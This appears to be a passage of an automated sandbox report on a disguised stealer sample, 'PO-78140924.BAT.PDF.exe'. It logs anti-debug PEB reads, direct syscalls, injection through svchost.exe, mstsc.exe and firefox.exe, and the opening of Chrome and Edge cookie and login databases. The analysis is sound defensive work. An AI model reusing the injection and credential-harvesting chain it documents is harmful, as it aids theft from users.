Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C37703 mov eax, dword ptr fs:[00000030h]	2_2_03C37703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C35702 mov eax, dword ptr fs:[00000030h]	2_2_03C35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C35702 mov eax, dword ptr fs:[00000030h]	2_2_03C35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C700 mov eax, dword ptr fs:[00000030h]	2_2_03C6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30710 mov eax, dword ptr fs:[00000030h]	2_2_03C30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60710 mov eax, dword ptr fs:[00000030h]	2_2_03C60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6F71F mov eax, dword ptr fs:[00000030h]	2_2_03C6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6F71F mov eax, dword ptr fs:[00000030h]	2_2_03C6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF72E mov eax, dword ptr fs:[00000030h]	2_2_03CEF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C33720 mov eax, dword ptr fs:[00000030h]	2_2_03C33720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4F720 mov eax, dword ptr fs:[00000030h]	2_2_03C4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4F720 mov eax, dword ptr fs:[00000030h]	2_2_03C4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4F720 mov eax, dword ptr fs:[00000030h]	2_2_03C4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF972B mov eax, dword ptr fs:[00000030h]	2_2_03CF972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C720 mov eax, dword ptr fs:[00000030h]	2_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C720 mov eax, dword ptr fs:[00000030h]	2_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B73C mov eax, dword ptr fs:[00000030h]	2_2_03D0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B73C mov eax, dword ptr fs:[00000030h]	2_2_03D0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B73C mov eax, dword ptr fs:[00000030h]	2_2_03D0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B73C mov eax, dword ptr fs:[00000030h]	2_2_03D0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29730 mov eax, dword ptr fs:[00000030h]	2_2_03C29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29730 mov eax, dword ptr fs:[00000030h]	2_2_03C29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C65734 mov eax, dword ptr fs:[00000030h]	2_2_03C65734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3973A mov eax, dword ptr fs:[00000030h]	2_2_03C3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3973A mov eax, dword ptr fs:[00000030h]	2_2_03C3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov eax, dword ptr fs:[00000030h]	2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov ecx, dword ptr fs:[00000030h]	2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov eax, dword ptr fs:[00000030h]	2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAC730 mov eax, dword ptr fs:[00000030h]	2_2_03CAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC mov eax, dword ptr fs:[00000030h]	2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC mov eax, dword ptr fs:[00000030h]	2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC mov eax, dword ptr fs:[00000030h]	2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC mov eax, dword ptr fs:[00000030h]	2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF6C7 mov eax, dword ptr fs:[00000030h]	2_2_03CEF6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C616CF mov eax, dword ptr fs:[00000030h]	2_2_03C616CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC36EE mov eax, dword ptr fs:[00000030h]	2_2_03CC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC36EE mov eax, dword ptr fs:[00000030h]	2_2_03CC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC36EE mov eax, dword ptr fs:[00000030h]	2_2_03CC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC36EE mov eax, dword ptr fs:[00000030h]	2_2_03CC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC36EE mov eax, dword ptr fs:[00000030h]	2_2_03CC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC36EE mov eax, dword ptr fs:[00000030h]	2_2_03CC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5D6E0 mov eax, dword ptr fs:[00000030h]	2_2_03C5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5D6E0 mov eax, dword ptr fs:[00000030h]	2_2_03C5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C636EF mov eax, dword ptr fs:[00000030h]	2_2_03C636EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CED6F0 mov eax, dword ptr fs:[00000030h]	2_2_03CED6F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB368C mov eax, dword ptr fs:[00000030h]	2_2_03CB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB368C mov eax, dword ptr fs:[00000030h]	2_2_03CB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB368C mov eax, dword ptr fs:[00000030h]	2_2_03CB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB368C mov eax, dword ptr fs:[00000030h]	2_2_03CB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34690 mov eax, dword ptr fs:[00000030h]	2_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34690 mov eax, dword ptr fs:[00000030h]	2_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_03C6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D6AA mov eax, dword ptr fs:[00000030h]	2_2_03C2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D6AA mov eax, dword ptr fs:[00000030h]	2_2_03C2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C276B2 mov eax, dword ptr fs:[00000030h]	2_2_03C276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C276B2 mov eax, dword ptr fs:[00000030h]	2_2_03C276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C276B2 mov eax, dword ptr fs:[00000030h]	2_2_03C276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C666B0 mov eax, dword ptr fs:[00000030h]	2_2_03C666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4C640 mov eax, dword ptr fs:[00000030h]	2_2_03C4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF866E mov eax, dword ptr fs:[00000030h]	2_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF866E mov eax, dword ptr fs:[00000030h]	2_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A660 mov eax, dword ptr fs:[00000030h]	2_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A660 mov eax, dword ptr fs:[00000030h]	2_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C69660 mov eax, dword ptr fs:[00000030h]	2_2_03C69660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C69660 mov eax, dword ptr fs:[00000030h]	2_2_03C69660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C62674 mov eax, dword ptr fs:[00000030h]	2_2_03C62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C61607 mov eax, dword ptr fs:[00000030h]	2_2_03C61607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE609 mov eax, dword ptr fs:[00000030h]	2_2_03CAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6F603 mov eax, dword ptr fs:[00000030h]	2_2_03C6F603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_0004997C GetProcessHeap,RtlAllocateHeap,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_0004997C

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003A2A4 SetUnhandledExceptionFilter,		0_2_0003A2A4
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003A2D5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0003A2D5

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe

Thread register set: target process: 5768

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 31FC008

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

0_2_00014A35

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe"	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00074A08 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00074A08

Source: PO-78140924.BAT.PDF.exe, 00000000.00000002.2043823400.00000000000C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: YKkstfciYBQ.exe, 00000003.00000002.3897163672.0000000000D61000.00000002.00000001.00040000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000000.2070424166.0000000000D61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: PO-78140924.BAT.PDF.exe, YKkstfciYBQ.exe, 00000003.00000002.3897163672.0000000000D61000.00000002.00000001.00040000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000000.2070424166.0000000000D61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: YKkstfciYBQ.exe, 00000003.00000002.3897163672.0000000000D61000.00000002.00000001.00040000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000000.2070424166.0000000000D61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: YKkstfciYBQ.exe, 00000003.00000002.3897163672.0000000000D61000.00000002.00000001.00040000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000000.2070424166.0000000000D61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_000387AB cpuid

0_2_000387AB

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00045007 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00045007

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_000440BA __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_000440BA

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00014AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00014AFE

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
